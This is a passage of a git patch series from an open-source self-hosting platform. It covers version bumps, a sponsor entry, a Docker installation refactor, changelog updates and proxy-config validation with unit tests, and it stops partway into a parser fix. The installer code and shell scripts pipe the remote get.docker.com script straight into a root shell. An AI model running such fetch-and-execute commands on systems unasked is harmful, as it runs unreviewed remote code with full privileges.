Subject: [PATCH 048/168] chore(versions): bump sentinel to 0.0.21
---
other/nightly/versions.json | 2 +-
versions.json | 2 +-
2 files changed, 2 insertions(+), 2 deletions(-)
diff --git a/other/nightly/versions.json b/other/nightly/versions.json
index 57bb21869..c2ab7a7c1 100644
--- a/other/nightly/versions.json
+++ b/other/nightly/versions.json
@@ -13,7 +13,7 @@
"version": "1.0.11"
},
"sentinel": {
- "version": "0.0.20"
+ "version": "0.0.21"
}
},
"traefik": {
diff --git a/versions.json b/versions.json
index 57bb21869..c2ab7a7c1 100644
--- a/versions.json
+++ b/versions.json
@@ -13,7 +13,7 @@
"version": "1.0.11"
},
"sentinel": {
- "version": "0.0.20"
+ "version": "0.0.21"
}
},
"traefik": {
From efcd5e7dbf254c87a3f4d56f3c3a01d89a6a8c3a Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Tue, 24 Mar 2026 12:37:11 +0100
Subject: [PATCH 049/168] docs(readme): add PetroSky Cloud to sponsors
---
README.md | 1 +
1 file changed, 1 insertion(+)
diff --git a/README.md b/README.md
index 73af2a18c..a5aa69343 100644
--- a/README.md
+++ b/README.md
@@ -90,6 +90,7 @@ ### Big Sponsors
* [Logto](https://logto.io?ref=coolify.io) - The better identity infrastructure for developers
* [Macarne](https://macarne.com?ref=coolify.io) - Best IP Transit & Carrier Ethernet Solutions for Simplified Network Connectivity
* [Mobb](https://vibe.mobb.ai/?ref=coolify.io) - Secure Your AI-Generated Code to Unlock Dev Productivity
+* [PetroSky Cloud](https://petrosky.io?ref=coolify.io) - Open source cloud deployment solutions
* [PFGLabs](https://pfglabs.com?ref=coolify.io) - Build Real Projects with Golang
* [Ramnode](https://ramnode.com/?ref=coolify.io) - High Performance Cloud VPS Hosting
* [SaasyKit](https://saasykit.com?ref=coolify.io) - Complete SaaS starter kit for developers
From 534b8be8d0927b5ff48ccf1da3dcfae6558e3eca Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Tue, 24 Mar 2026 14:17:05 +0100
Subject: [PATCH 050/168] refactor(docker): simplify installation and remove
version pinning
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
- Remove hardcoded Docker version constraints (27.0 → latest)
- Use official Docker install script (get.docker.com) instead of rancher URLs
- Simplify installation logic by removing nested version fallback checks
- Consolidate OS-specific installation methods and improve Arch Linux upgrade handling
---
app/Actions/Server/InstallDocker.php | 15 ++-----
other/nightly/install.sh | 63 +++++++++++++---------------
scripts/install.sh | 63 +++++++++++++---------------
3 files changed, 62 insertions(+), 79 deletions(-)
diff --git a/app/Actions/Server/InstallDocker.php b/app/Actions/Server/InstallDocker.php
index 31e582c9b..2e08ec6ad 100644
--- a/app/Actions/Server/InstallDocker.php
+++ b/app/Actions/Server/InstallDocker.php
@@ -11,11 +11,8 @@ class InstallDocker
{
use AsAction;
- private string $dockerVersion;
-
public function handle(Server $server)
{
- $this->dockerVersion = config('constants.docker.minimum_required_version');
$supported_os_type = $server->validateOS();
if (! $supported_os_type) {
throw new \Exception('Server OS type is not supported for automated installation. Please install Docker manually before continuing: documentation .');
@@ -118,7 +115,7 @@ public function handle(Server $server)
private function getDebianDockerInstallCommand(): string
{
- return "curl --max-time 300 --retry 3 https://releases.rancher.com/install-docker/{$this->dockerVersion}.sh | sh || curl --max-time 300 --retry 3 https://get.docker.com | sh -s -- --version {$this->dockerVersion} || (".
+ return 'curl -fsSL https://get.docker.com | sh || ('.
'. /etc/os-release && '.
'install -m 0755 -d /etc/apt/keyrings && '.
'curl -fsSL https://download.docker.com/linux/${ID}/gpg -o /etc/apt/keyrings/docker.asc && '.
@@ -131,7 +128,7 @@ private function getDebianDockerInstallCommand(): string
private function getRhelDockerInstallCommand(): string
{
- return "curl https://releases.rancher.com/install-docker/{$this->dockerVersion}.sh | sh || curl https://get.docker.com | sh -s -- --version {$this->dockerVersion} || (".
+ return 'curl -fsSL https://get.docker.com | sh || ('.
'dnf config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo && '.
'dnf install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin && '.
'systemctl start docker && '.
@@ -141,7 +138,7 @@ private function getRhelDockerInstallCommand(): string
private function getSuseDockerInstallCommand(): string
{
- return "curl https://releases.rancher.com/install-docker/{$this->dockerVersion}.sh | sh || curl https://get.docker.com | sh -s -- --version {$this->dockerVersion} || (".
+ return 'curl -fsSL https://get.docker.com | sh || ('.
'zypper addrepo https://download.docker.com/linux/sles/docker-ce.repo && '.
'zypper refresh && '.
'zypper install -y --no-confirm docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin && '.
@@ -152,10 +149,6 @@ private function getSuseDockerInstallCommand(): string
private function getArchDockerInstallCommand(): string
{
- // Use -Syu to perform full system upgrade before installing Docker
- // Partial upgrades (-Sy without -u) are discouraged on Arch Linux
- // as they can lead to broken dependencies and system instability
- // Use --needed to skip reinstalling packages that are already up-to-date (idempotent)
return 'pacman -Syu --noconfirm --needed docker docker-compose && '.
'systemctl enable docker.service && '.
'systemctl start docker.service';
@@ -163,6 +156,6 @@ private function getArchDockerInstallCommand(): string
private function getGenericDockerInstallCommand(): string
{
- return "curl --max-time 300 --retry 3 https://releases.rancher.com/install-docker/{$this->dockerVersion}.sh | sh || curl --max-time 300 --retry 3 https://get.docker.com | sh -s -- --version {$this->dockerVersion}";
+ return 'curl -fsSL https://get.docker.com | sh';
}
}
diff --git a/other/nightly/install.sh b/other/nightly/install.sh
index 921ba6a92..09406118c 100755
--- a/other/nightly/install.sh
+++ b/other/nightly/install.sh
@@ -20,7 +20,7 @@ DATE=$(date +"%Y%m%d-%H%M%S")
OS_TYPE=$(grep -w "ID" /etc/os-release | cut -d "=" -f 2 | tr -d '"')
ENV_FILE="/data/coolify/source/.env"
-DOCKER_VERSION="27.0"
+DOCKER_VERSION="latest"
# TODO: Ask for a user
CURRENT_USER=$USER
@@ -499,13 +499,10 @@ fi
install_docker() {
set +e
- curl -s https://releases.rancher.com/install-docker/${DOCKER_VERSION}.sh | sh 2>&1 || true
+ curl -fsSL https://get.docker.com | sh 2>&1 || true
if ! [ -x "$(command -v docker)" ]; then
- curl -s https://get.docker.com | sh -s -- --version ${DOCKER_VERSION} 2>&1
- if ! [ -x "$(command -v docker)" ]; then
- echo "Automated Docker installation failed. Trying manual installation."
- install_docker_manually
- fi
+ echo "Automated Docker installation failed. Trying manual installation."
+ install_docker_manually
fi
set -e
}
@@ -548,16 +545,6 @@ if ! [ -x "$(command -v docker)" ]; then
echo " - Docker is not installed. Installing Docker. It may take a while."
getAJoke
case "$OS_TYPE" in
- "almalinux")
- dnf config-manager --add-repo=https://download.docker.com/linux/centos/docker-ce.repo >/dev/null 2>&1
- dnf install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin >/dev/null 2>&1
- if ! [ -x "$(command -v docker)" ]; then
- echo " - Docker could not be installed automatically. Please visit https://docs.docker.com/engine/install/ and install Docker manually to continue."
- exit 1
- fi
- systemctl start docker >/dev/null 2>&1
- systemctl enable docker >/dev/null 2>&1
- ;;
"alpine" | "postmarketos")
apk add docker docker-cli-compose >/dev/null 2>&1
rc-update add docker default >/dev/null 2>&1
@@ -569,8 +556,9 @@ if ! [ -x "$(command -v docker)" ]; then
fi
;;
"arch")
- pacman -Sy docker docker-compose --noconfirm >/dev/null 2>&1
+ pacman -Syu --noconfirm --needed docker docker-compose >/dev/null 2>&1
systemctl enable docker.service >/dev/null 2>&1
+ systemctl start docker.service >/dev/null 2>&1
if ! [ -x "$(command -v docker)" ]; then
echo " - Failed to install Docker with pacman. Try to install it manually."
echo " Please visit https://wiki.archlinux.org/title/docker for more information."
@@ -581,7 +569,7 @@ if ! [ -x "$(command -v docker)" ]; then
dnf install docker -y >/dev/null 2>&1
DOCKER_CONFIG=${DOCKER_CONFIG:-/usr/local/lib/docker}
mkdir -p $DOCKER_CONFIG/cli-plugins >/dev/null 2>&1
- curl -sL "https://github.com/docker/compose/releases/latest/download/docker-compose-$(uname -s)-$(uname -m)" -o $DOCKER_CONFIG/cli-plugins/docker-compose >/dev/null 2>&1
+ curl -fsSL "https://github.com/docker/compose/releases/latest/download/docker-compose-$(uname -s)-$(uname -m)" -o $DOCKER_CONFIG/cli-plugins/docker-compose >/dev/null 2>&1
chmod +x $DOCKER_CONFIG/cli-plugins/docker-compose >/dev/null 2>&1
systemctl start docker >/dev/null 2>&1
systemctl enable docker >/dev/null 2>&1
@@ -591,34 +579,28 @@ if ! [ -x "$(command -v docker)" ]; then
exit 1
fi
;;
- "centos" | "fedora" | "rhel" | "tencentos")
- if [ -x "$(command -v dnf5)" ]; then
- # dnf5 is available
- dnf config-manager addrepo --from-repofile=https://download.docker.com/linux/$OS_TYPE/docker-ce.repo --overwrite >/dev/null 2>&1
- else
- # dnf5 is not available, use dnf
- dnf config-manager --add-repo=https://download.docker.com/linux/$OS_TYPE/docker-ce.repo >/dev/null 2>&1
- fi
+ "almalinux" | "tencentos")
+ dnf config-manager --add-repo=https://download.docker.com/linux/centos/docker-ce.repo >/dev/null 2>&1
dnf install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin >/dev/null 2>&1
+ systemctl start docker >/dev/null 2>&1
+ systemctl enable docker >/dev/null 2>&1
if ! [ -x "$(command -v docker)" ]; then
echo " - Docker could not be installed automatically. Please visit https://docs.docker.com/engine/install/ and install Docker manually to continue."
exit 1
fi
- systemctl start docker >/dev/null 2>&1
- systemctl enable docker >/dev/null 2>&1
;;
- "ubuntu" | "debian" | "raspbian")
+ "ubuntu" | "debian" | "raspbian" | "centos" | "fedora" | "rhel" | "sles")
install_docker
if ! [ -x "$(command -v docker)" ]; then
- echo " - Automated Docker installation failed. Trying manual installation."
- install_docker_manually
+ echo " - Docker could not be installed automatically. Please visit https://docs.docker.com/engine/install/ and install Docker manually to continue."
+ exit 1
fi
;;
*)
install_docker
if ! [ -x "$(command -v docker)" ]; then
- echo " - Automated Docker installation failed. Trying manual installation."
- install_docker_manually
+ echo " - Docker could not be installed automatically. Please visit https://docs.docker.com/engine/install/ and install Docker manually to continue."
+ exit 1
fi
;;
esac
@@ -627,6 +609,19 @@ else
echo " - Docker is installed."
fi
+# Verify minimum Docker version
+MIN_DOCKER_VERSION=24
+INSTALLED_DOCKER_VERSION=$(docker version --format '{{.Server.Version}}' 2>/dev/null | cut -d. -f1)
+if [ -z "$INSTALLED_DOCKER_VERSION" ]; then
+ echo " - WARNING: Could not determine Docker version. Please ensure Docker $MIN_DOCKER_VERSION+ is installed."
+elif [ "$INSTALLED_DOCKER_VERSION" -lt "$MIN_DOCKER_VERSION" ]; then
+ echo " - ERROR: Docker version $INSTALLED_DOCKER_VERSION is too old. Coolify requires Docker $MIN_DOCKER_VERSION or newer."
+ echo " Please upgrade Docker: https://docs.docker.com/engine/install/"
+ exit 1
+else
+ echo " - Docker version $(docker version --format '{{.Server.Version}}' 2>/dev/null) meets minimum requirement ($MIN_DOCKER_VERSION+)."
+fi
+
log_section "Step 4/9: Checking Docker configuration"
echo "4/9 Checking Docker configuration..."
diff --git a/scripts/install.sh b/scripts/install.sh
index b014a3d24..2e1dab326 100755
--- a/scripts/install.sh
+++ b/scripts/install.sh
@@ -20,7 +20,7 @@ DATE=$(date +"%Y%m%d-%H%M%S")
OS_TYPE=$(grep -w "ID" /etc/os-release | cut -d "=" -f 2 | tr -d '"')
ENV_FILE="/data/coolify/source/.env"
-DOCKER_VERSION="27.0"
+DOCKER_VERSION="latest"
# TODO: Ask for a user
CURRENT_USER=$USER
@@ -499,13 +499,10 @@ fi
install_docker() {
set +e
- curl -s https://releases.rancher.com/install-docker/${DOCKER_VERSION}.sh | sh 2>&1 || true
+ curl -fsSL https://get.docker.com | sh 2>&1 || true
if ! [ -x "$(command -v docker)" ]; then
- curl -s https://get.docker.com | sh -s -- --version ${DOCKER_VERSION} 2>&1
- if ! [ -x "$(command -v docker)" ]; then
- echo "Automated Docker installation failed. Trying manual installation."
- install_docker_manually
- fi
+ echo "Automated Docker installation failed. Trying manual installation."
+ install_docker_manually
fi
set -e
}
@@ -548,16 +545,6 @@ if ! [ -x "$(command -v docker)" ]; then
echo " - Docker is not installed. Installing Docker. It may take a while."
getAJoke
case "$OS_TYPE" in
- "almalinux")
- dnf config-manager --add-repo=https://download.docker.com/linux/centos/docker-ce.repo >/dev/null 2>&1
- dnf install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin >/dev/null 2>&1
- if ! [ -x "$(command -v docker)" ]; then
- echo " - Docker could not be installed automatically. Please visit https://docs.docker.com/engine/install/ and install Docker manually to continue."
- exit 1
- fi
- systemctl start docker >/dev/null 2>&1
- systemctl enable docker >/dev/null 2>&1
- ;;
"alpine" | "postmarketos")
apk add docker docker-cli-compose >/dev/null 2>&1
rc-update add docker default >/dev/null 2>&1
@@ -569,8 +556,9 @@ if ! [ -x "$(command -v docker)" ]; then
fi
;;
"arch")
- pacman -Sy docker docker-compose --noconfirm >/dev/null 2>&1
+ pacman -Syu --noconfirm --needed docker docker-compose >/dev/null 2>&1
systemctl enable docker.service >/dev/null 2>&1
+ systemctl start docker.service >/dev/null 2>&1
if ! [ -x "$(command -v docker)" ]; then
echo " - Failed to install Docker with pacman. Try to install it manually."
echo " Please visit https://wiki.archlinux.org/title/docker for more information."
@@ -581,7 +569,7 @@ if ! [ -x "$(command -v docker)" ]; then
dnf install docker -y >/dev/null 2>&1
DOCKER_CONFIG=${DOCKER_CONFIG:-/usr/local/lib/docker}
mkdir -p $DOCKER_CONFIG/cli-plugins >/dev/null 2>&1
- curl -sL "https://github.com/docker/compose/releases/latest/download/docker-compose-$(uname -s)-$(uname -m)" -o $DOCKER_CONFIG/cli-plugins/docker-compose >/dev/null 2>&1
+ curl -fsSL "https://github.com/docker/compose/releases/latest/download/docker-compose-$(uname -s)-$(uname -m)" -o $DOCKER_CONFIG/cli-plugins/docker-compose >/dev/null 2>&1
chmod +x $DOCKER_CONFIG/cli-plugins/docker-compose >/dev/null 2>&1
systemctl start docker >/dev/null 2>&1
systemctl enable docker >/dev/null 2>&1
@@ -591,34 +579,28 @@ if ! [ -x "$(command -v docker)" ]; then
exit 1
fi
;;
- "centos" | "fedora" | "rhel" | "tencentos")
- if [ -x "$(command -v dnf5)" ]; then
- # dnf5 is available
- dnf config-manager addrepo --from-repofile=https://download.docker.com/linux/$OS_TYPE/docker-ce.repo --overwrite >/dev/null 2>&1
- else
- # dnf5 is not available, use dnf
- dnf config-manager --add-repo=https://download.docker.com/linux/$OS_TYPE/docker-ce.repo >/dev/null 2>&1
- fi
+ "almalinux" | "tencentos")
+ dnf config-manager --add-repo=https://download.docker.com/linux/centos/docker-ce.repo >/dev/null 2>&1
dnf install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin >/dev/null 2>&1
+ systemctl start docker >/dev/null 2>&1
+ systemctl enable docker >/dev/null 2>&1
if ! [ -x "$(command -v docker)" ]; then
echo " - Docker could not be installed automatically. Please visit https://docs.docker.com/engine/install/ and install Docker manually to continue."
exit 1
fi
- systemctl start docker >/dev/null 2>&1
- systemctl enable docker >/dev/null 2>&1
;;
- "ubuntu" | "debian" | "raspbian")
+ "ubuntu" | "debian" | "raspbian" | "centos" | "fedora" | "rhel" | "sles")
install_docker
if ! [ -x "$(command -v docker)" ]; then
- echo " - Automated Docker installation failed. Trying manual installation."
- install_docker_manually
+ echo " - Docker could not be installed automatically. Please visit https://docs.docker.com/engine/install/ and install Docker manually to continue."
+ exit 1
fi
;;
*)
install_docker
if ! [ -x "$(command -v docker)" ]; then
- echo " - Automated Docker installation failed. Trying manual installation."
- install_docker_manually
+ echo " - Docker could not be installed automatically. Please visit https://docs.docker.com/engine/install/ and install Docker manually to continue."
+ exit 1
fi
;;
esac
@@ -627,6 +609,19 @@ else
echo " - Docker is installed."
fi
+# Verify minimum Docker version
+MIN_DOCKER_VERSION=24
+INSTALLED_DOCKER_VERSION=$(docker version --format '{{.Server.Version}}' 2>/dev/null | cut -d. -f1)
+if [ -z "$INSTALLED_DOCKER_VERSION" ]; then
+ echo " - WARNING: Could not determine Docker version. Please ensure Docker $MIN_DOCKER_VERSION+ is installed."
+elif [ "$INSTALLED_DOCKER_VERSION" -lt "$MIN_DOCKER_VERSION" ]; then
+ echo " - ERROR: Docker version $INSTALLED_DOCKER_VERSION is too old. Coolify requires Docker $MIN_DOCKER_VERSION or newer."
+ echo " Please upgrade Docker: https://docs.docker.com/engine/install/"
+ exit 1
+else
+ echo " - Docker version $(docker version --format '{{.Server.Version}}' 2>/dev/null) meets minimum requirement ($MIN_DOCKER_VERSION+)."
+fi
+
log_section "Step 4/9: Checking Docker configuration"
echo "4/9 Checking Docker configuration..."
From 9db06444f316d5ac4c33f489f3d32ebe01d8f975 Mon Sep 17 00:00:00 2001
From: "github-actions[bot]"
Date: Tue, 24 Mar 2026 19:18:36 +0000
Subject: [PATCH 051/168] docs: update changelog
---
CHANGELOG.md | 55 ++++++++++++++++++++++++++++++++++++++++++++++++++++
1 file changed, 55 insertions(+)
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 999af79b8..8cd7287f3 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1288,6 +1288,20 @@ ### 🚀 Features
- *(templates)* Add imgcompress service, for offline image processing (#8763)
- *(service)* Add librespeed (#8626)
- *(service)* Update databasus to v3.16.2 (#8586)
+- *(preview)* Add configurable PR suffix toggle for volumes
+- *(api)* Add storages endpoints for applications
+- *(api)* Expand update_storage to support name, mount_path, host_path, content fields
+- *(environment-variable)* Add placeholder hint for magic variables
+- *(subscription)* Display next billing date and billing interval
+- *(api)* Support comments in bulk environment variable endpoints
+- *(api)* Add database environment variable management endpoints
+- *(storage)* Add resources tab and improve S3 deletion handling
+- *(storage)* Group backups by database and filter by s3 status
+- *(storage)* Add storage management for backup schedules
+- *(jobs)* Add cache-based deduplication for delayed cron execution
+- *(storage)* Add storage endpoints and UUID support for databases and services
+- *(monitoring)* Add Laravel Nightwatch monitoring support
+- *(validation)* Make hostname validation case-insensitive and expand allowed characters
### 🐛 Bug Fixes
@@ -4687,6 +4701,29 @@ ### 🐛 Bug Fixes
- *(compose)* Include git branch in compose file not found error
- *(template)* Fix heyform template
- *(template)* Fix heyform template (#8747)
+- *(preview)* Exclude bind mounts from preview deployment suffix
+- *(preview)* Sync isPreviewSuffixEnabled property on file storage save
+- *(storages)* Hide PR suffix for services and fix instantSave logic
+- *(preview)* Enable per-volume control of PR suffix in preview deployments (#9006)
+- Prevent sporadic SSH permission denied by validating key content
+- *(ssh)* Handle chmod failures gracefully and simplify key management
+- Prevent sporadic SSH permission denied on key rotation (#8990)
+- *(stripe)* Add error handling and resilience to subscription operations
+- *(stripe)* Add error handling and resilience to subscription operations (#9030)
+- *(api)* Extract resource UUIDs from route parameters
+- *(backup)* Throw explicit error when S3 storage missing or deleted (#9038)
+- *(docker)* Skip cleanup stale warning on cloud instances
+- *(deployment)* Disable build server during restart operations
+- *(deployment)* Disable build server during restart operations (#9045)
+- *(docker)* Log failed cleanup attempts when server is not functional
+- *(environment-variable)* Guard refresh against missing or stale variables
+- *(github-webhook)* Handle unsupported event types gracefully
+- *(github-webhook)* Handle unsupported event types gracefully (#9119)
+- *(deployment)* Properly escape shell arguments in nixpacks commands
+- *(deployment)* Properly escape shell arguments in nixpacks commands (#9122)
+- *(validation)* Make hostname validation case-insensitive and expand allowed name characters (#9134)
+- *(team)* Resolve server limit checks for API token authentication (#9123)
+- *(subscription)* Prevent duplicate subscriptions with updateOrCreate
### 💼 Other
@@ -5791,6 +5828,13 @@ ### 🚜 Refactor
- *(application-source)* Use Laravel helpers for null checks
- *(ssh)* Remove Sentry retry event tracking from ExecuteRemoteCommand
- Consolidate file path validation patterns and support scoped packages
+- *(environment-variable)* Remove buildtime/runtime options and improve comment field
+- Remove verbose logging and use explicit exception types
+- *(breadcrumb)* Optimize queries and simplify state management
+- *(scheduler)* Extract cron scheduling logic to shared helper
+- *(team)* Make server limit methods accept optional team parameter
+- *(team)* Update serverOverflow to use static serverLimit
+- *(docker)* Simplify installation and remove version pinning
### 📚 Documentation
@@ -5944,6 +5988,10 @@ ### 📚 Documentation
- *(readme)* Move MVPS to Huge Sponsors section
- *(settings)* Clarify Do Not Track helper text
- Update changelog
+- Update changelog
+- *(sponsors)* Add ScreenshotOne as a huge sponsor
+- *(sponsors)* Update Brand.dev to Context.dev
+- *(readme)* Add PetroSky Cloud to sponsors
### ⚡ Performance
@@ -5954,6 +6002,7 @@ ### ⚡ Performance
- Remove dead server filtering code from Kernel scheduler (#7585)
- *(server)* Optimize destinationsByServer query
- *(server)* Optimize destinationsByServer query (#7854)
+- *(breadcrumb)* Optimize queries and simplify navigation to fix OOM (#9048)
### 🎨 Styling
@@ -5966,6 +6015,7 @@ ### 🎨 Styling
- *(campfire)* Format environment variables for better readability in Docker Compose file
- *(campfire)* Update comment for DISABLE_SSL environment variable for clarity
- Update background colors to use gray-50 for consistency in auth views
+- *(modal-confirmation)* Improve mobile responsiveness
### 🧪 Testing
@@ -5989,6 +6039,7 @@ ### 🧪 Testing
- *(rollback)* Verify shell metacharacter escaping in git commit parameter
- *(factories)* Add missing model factories for app test suite
- *(magic-variables)* Add feature tests for SERVICE_URL/FQDN variable handling
+- Add behavioral ssh key stale-file regression
### ⚙️ Miscellaneous Tasks
@@ -6786,6 +6837,10 @@ ### ⚙️ Miscellaneous Tasks
- *(service)* Pin imgcompress to a static version instead of latest
- *(service)* Update SeaweedFS images to version 4.13 (#8738)
- *(templates)* Bump databasus image version
+- Remove coolify-examples-1 submodule
+- *(versions)* Bump coolify, sentinel, and traefik versions
+- *(versions)* Bump sentinel to 0.0.21
+- *(service)* Disable Booklore service (#9105)
### ◀️ Revert
From b8e52c6a45bbeb87037f8c40544e3207cef1db9c Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Tue, 24 Mar 2026 21:32:34 +0100
Subject: [PATCH 052/168] feat(proxy): validate stored config matches current
proxy type
Add validation in GetProxyConfiguration to detect when stored proxy config
belongs to a different proxy type (e.g., Traefik config on a Caddy server)
and trigger regeneration with a warning log. Clear cached proxy configuration
and settings when proxy type is changed to prevent stale configs from being
reused. Includes tests verifying config rejection on type mismatch and
graceful fallback on invalid YAML.
---
app/Actions/Proxy/GetProxyConfiguration.php | 36 +++++++++++
app/Models/Server.php | 3 +
tests/Unit/ProxyConfigRecoveryTest.php | 70 ++++++++++++++++++++-
3 files changed, 106 insertions(+), 3 deletions(-)
diff --git a/app/Actions/Proxy/GetProxyConfiguration.php b/app/Actions/Proxy/GetProxyConfiguration.php
index de44b476f..159f12252 100644
--- a/app/Actions/Proxy/GetProxyConfiguration.php
+++ b/app/Actions/Proxy/GetProxyConfiguration.php
@@ -2,10 +2,12 @@
namespace App\Actions\Proxy;
+use App\Enums\ProxyTypes;
use App\Models\Server;
use App\Services\ProxyDashboardCacheService;
use Illuminate\Support\Facades\Log;
use Lorisleiva\Actions\Concerns\AsAction;
+use Symfony\Component\Yaml\Yaml;
class GetProxyConfiguration
{
@@ -24,6 +26,17 @@ public function handle(Server $server, bool $forceRegenerate = false): string
// Primary source: database
$proxy_configuration = $server->proxy->get('last_saved_proxy_configuration');
+ // Validate stored config matches current proxy type
+ if (! empty(trim($proxy_configuration ?? ''))) {
+ if (! $this->configMatchesProxyType($proxyType, $proxy_configuration)) {
+ Log::warning('Stored proxy config does not match current proxy type, will regenerate', [
+ 'server_id' => $server->id,
+ 'proxy_type' => $proxyType,
+ ]);
+ $proxy_configuration = null;
+ }
+ }
+
// Backfill: existing servers may not have DB config yet — read from disk once
if (empty(trim($proxy_configuration ?? ''))) {
$proxy_configuration = $this->backfillFromDisk($server);
@@ -55,6 +68,29 @@ public function handle(Server $server, bool $forceRegenerate = false): string
return $proxy_configuration;
}
+ /**
+ * Check that the stored docker-compose YAML contains the expected service
+ * for the server's current proxy type. Returns false if the config belongs
+ * to a different proxy type (e.g. Traefik config on a CADDY server).
+ */
+ private function configMatchesProxyType(string $proxyType, string $configuration): bool
+ {
+ try {
+ $yaml = Yaml::parse($configuration);
+ $services = data_get($yaml, 'services', []);
+
+ return match ($proxyType) {
+ ProxyTypes::TRAEFIK->value => isset($services['traefik']),
+ ProxyTypes::CADDY->value => isset($services['caddy']),
+ ProxyTypes::NGINX->value => isset($services['nginx']),
+ default => true,
+ };
+ } catch (\Throwable $e) {
+ // If YAML is unparseable, don't block — let the existing flow handle it
+ return true;
+ }
+ }
+
/**
* Backfill: read config from disk for servers that predate DB storage.
* Stores the result in the database so future reads skip SSH entirely.
diff --git a/app/Models/Server.php b/app/Models/Server.php
index 527c744a5..ce877bd20 100644
--- a/app/Models/Server.php
+++ b/app/Models/Server.php
@@ -1471,6 +1471,9 @@ public function changeProxy(string $proxyType, bool $async = true)
if ($validProxyTypes->contains(str($proxyType)->lower())) {
$this->proxy->set('type', str($proxyType)->upper());
$this->proxy->set('status', 'exited');
+ $this->proxy->set('last_saved_proxy_configuration', null);
+ $this->proxy->set('last_saved_settings', null);
+ $this->proxy->set('last_applied_settings', null);
$this->save();
if ($this->proxySet()) {
if ($async) {
diff --git a/tests/Unit/ProxyConfigRecoveryTest.php b/tests/Unit/ProxyConfigRecoveryTest.php
index 219ec9bca..e10d899fe 100644
--- a/tests/Unit/ProxyConfigRecoveryTest.php
+++ b/tests/Unit/ProxyConfigRecoveryTest.php
@@ -10,20 +10,26 @@
Cache::spy();
});
-function mockServerWithDbConfig(?string $savedConfig): object
+function mockServerWithDbConfig(?string $savedConfig, string $proxyType = 'TRAEFIK'): object
{
$proxyAttributes = Mockery::mock(SchemalessAttributes::class);
$proxyAttributes->shouldReceive('get')
->with('last_saved_proxy_configuration')
->andReturn($savedConfig);
+ $proxyPath = match ($proxyType) {
+ 'CADDY' => '/data/coolify/proxy/caddy',
+ 'NGINX' => '/data/coolify/proxy/nginx',
+ default => '/data/coolify/proxy/',
+ };
+
$server = Mockery::mock('App\Models\Server');
$server->shouldIgnoreMissing();
$server->shouldReceive('getAttribute')->with('proxy')->andReturn($proxyAttributes);
$server->shouldReceive('getAttribute')->with('id')->andReturn(1);
$server->shouldReceive('getAttribute')->with('name')->andReturn('Test Server');
- $server->shouldReceive('proxyType')->andReturn('TRAEFIK');
- $server->shouldReceive('proxyPath')->andReturn('/data/coolify/proxy');
+ $server->shouldReceive('proxyType')->andReturn($proxyType);
+ $server->shouldReceive('proxyPath')->andReturn($proxyPath);
return $server;
}
@@ -107,3 +113,61 @@ function mockServerWithDbConfig(?string $savedConfig): object
expect($result)->toBe($savedConfig);
});
+
+it('rejects stored Traefik config when proxy type is CADDY', function () {
+ Log::swap(new \Illuminate\Log\LogManager(app()));
+ Log::spy();
+
+ $traefikConfig = "services:\n traefik:\n image: traefik:v3.6\n";
+ $server = mockServerWithDbConfig($traefikConfig, 'CADDY');
+
+ // Config type mismatch should trigger regeneration, which will try
+ // backfillFromDisk (instant_remote_process) then generateDefault.
+ // Both will fail in test env, but the warning log proves mismatch was detected.
+ try {
+ GetProxyConfiguration::run($server);
+ } catch (\Throwable $e) {
+ // Expected — regeneration requires SSH/full server setup
+ }
+
+ Log::shouldHaveReceived('warning')
+ ->withArgs(fn ($message) => str_contains($message, 'does not match current proxy type'))
+ ->once();
+});
+
+it('rejects stored Caddy config when proxy type is TRAEFIK', function () {
+ Log::swap(new \Illuminate\Log\LogManager(app()));
+ Log::spy();
+
+ $caddyConfig = "services:\n caddy:\n image: lucaslorentz/caddy-docker-proxy:2.8-alpine\n";
+ $server = mockServerWithDbConfig($caddyConfig, 'TRAEFIK');
+
+ try {
+ GetProxyConfiguration::run($server);
+ } catch (\Throwable $e) {
+ // Expected — regeneration requires SSH/full server setup
+ }
+
+ Log::shouldHaveReceived('warning')
+ ->withArgs(fn ($message) => str_contains($message, 'does not match current proxy type'))
+ ->once();
+});
+
+it('accepts stored Caddy config when proxy type is CADDY', function () {
+ $caddyConfig = "services:\n caddy:\n image: lucaslorentz/caddy-docker-proxy:2.8-alpine\n";
+ $server = mockServerWithDbConfig($caddyConfig, 'CADDY');
+
+ $result = GetProxyConfiguration::run($server);
+
+ expect($result)->toBe($caddyConfig);
+});
+
+it('accepts stored config when YAML parsing fails', function () {
+ $invalidYaml = "this: is: not: [valid yaml: {{{}}}";
+ $server = mockServerWithDbConfig($invalidYaml, 'TRAEFIK');
+
+ // Invalid YAML should not block — configMatchesProxyType returns true on parse failure
+ $result = GetProxyConfiguration::run($server);
+
+ expect($result)->toBe($invalidYaml);
+});
From 6a14a12a58a6df09dd5d48f6e48ed71b58ac7e35 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Tue, 24 Mar 2026 21:52:36 +0100
Subject: [PATCH 053/168] fix(parsers): preserve ${VAR} references in compose
instead of resolving to DB values
Do not replace self-referencing environment variables (e.g., DATABASE_URL: ${DATABASE_URL})
with saved DB values in the compose environment section. Keeping the reference intact allows
Docker Compose to resolve from .env at deploy time, preventing stale values from overriding
user updates that haven't been re-parsed.
Fixes #9136
---
bootstrap/helpers/parsers.php | 18 +++++-----
templates/service-templates-latest.json | 34 +++++++++----------
templates/service-templates.json | 34 +++++++++----------
.../ServiceParserEnvVarPreservationTest.php | 20 +++++------
4 files changed, 54 insertions(+), 52 deletions(-)
diff --git a/bootstrap/helpers/parsers.php b/bootstrap/helpers/parsers.php
index cd4928d63..4ca693fcb 100644
--- a/bootstrap/helpers/parsers.php
+++ b/bootstrap/helpers/parsers.php
